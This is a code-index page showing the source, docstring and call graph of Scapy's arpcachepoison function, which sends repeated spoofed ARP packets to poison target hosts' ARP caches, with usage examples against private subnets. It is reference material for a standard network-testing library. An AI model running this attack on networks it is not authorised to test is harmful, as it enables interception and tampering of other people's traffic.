MCPcopy Index your code
hub / github.com/secdev/scapy / arpcachepoison

Function arpcachepoison

scapy/layers/l2.py:837–893  ·  view source on GitHub ↗

Poison targets' ARP cache :param target: Can be an IP, subnet (string) or a list of IPs. This lists the IPs or the subnet that will be poisoned. :param addresses: Can be either a string, a tuple of a list of tuples. If it's a string, it's the IP to a

(
    target,  # type: Union[str, List[str]]
    addresses,  # type: Union[str, Tuple[str, str], List[Tuple[str, str]]]
    broadcast=False,  # type: bool
    count=None,  # type: Optional[int]
    interval=15,  # type: int
    **kwargs,  # type: Any
)

Source from the content-addressed store, hash-verified

835
836@conf.commands.register
837def arpcachepoison(
838 target, # type: Union[str, List[str]]
839 addresses, # type: Union[str, Tuple[str, str], List[Tuple[str, str]]]
840 broadcast=False, # type: bool
841 count=None, # type: Optional[int]
842 interval=15, # type: int
843 **kwargs, # type: Any
844):
845 # type: (...) -> None
846 """Poison targets' ARP cache
847
848 :param target: Can be an IP, subnet (string) or a list of IPs. This lists the IPs
849 or the subnet that will be poisoned.
850 :param addresses: Can be either a string, a tuple of a list of tuples.
851 If it's a string, it's the IP to advertise to the victim,
852 with the local interface's MAC. If it's a tuple,
853 it's ("IP", "MAC"). It it's a list, it's [("IP", "MAC")].
854 "IP" can be a subnet of course.
855 :param broadcast: Use broadcast ethernet
856
857 Examples for target "192.168.0.2"::
858
859 >>> arpcachepoison("192.168.0.2", "192.168.0.1")
860 >>> arpcachepoison("192.168.0.1/24", "192.168.0.1")
861 >>> arpcachepoison(["192.168.0.2", "192.168.0.3"], "192.168.0.1")
862 >>> arpcachepoison("192.168.0.2", ("192.168.0.1", get_if_hwaddr("virbr0")))
863 >>> arpcachepoison("192.168.0.2", [("192.168.0.1", get_if_hwaddr("virbr0"),
864 ... ("192.168.0.2", "aa:aa:aa:aa:aa:aa")])
865
866 """
867 if isinstance(target, str):
868 targets = Net(target) # type: Union[Net, List[str]]
869 str_target = target
870 else:
871 targets = target
872 str_target = target[0]
873 if isinstance(addresses, str):
874 couple_list = [(addresses, get_if_hwaddr(conf.route.route(str_target)[0]))]
875 elif isinstance(addresses, tuple):
876 couple_list = [addresses]
877 else:
878 couple_list = addresses
879 p: List[Packet] = [
880 Ether(src=y, dst="ff:ff:ff:ff:ff:ff" if broadcast else None) /
881 ARP(op="who-has", psrc=x, pdst=targets,
882 hwsrc=y, hwdst="00:00:00:00:00:00")
883 for x, y in couple_list
884 ]
885 if count is not None:
886 sendp(p, iface_hint=str_target, count=count, inter=interval, **kwargs)
887 return
888 try:
889 while True:
890 sendp(p, iface_hint=str_target, **kwargs)
891 time.sleep(interval)
892 except KeyboardInterrupt:
893 pass
894

Callers 1

__init__Method · 0.90

Calls 6

NetClass · 0.90
get_if_hwaddrFunction · 0.90
sendpFunction · 0.90
EtherClass · 0.85
ARPClass · 0.85
routeMethod · 0.45

Tested by

no test coverage detected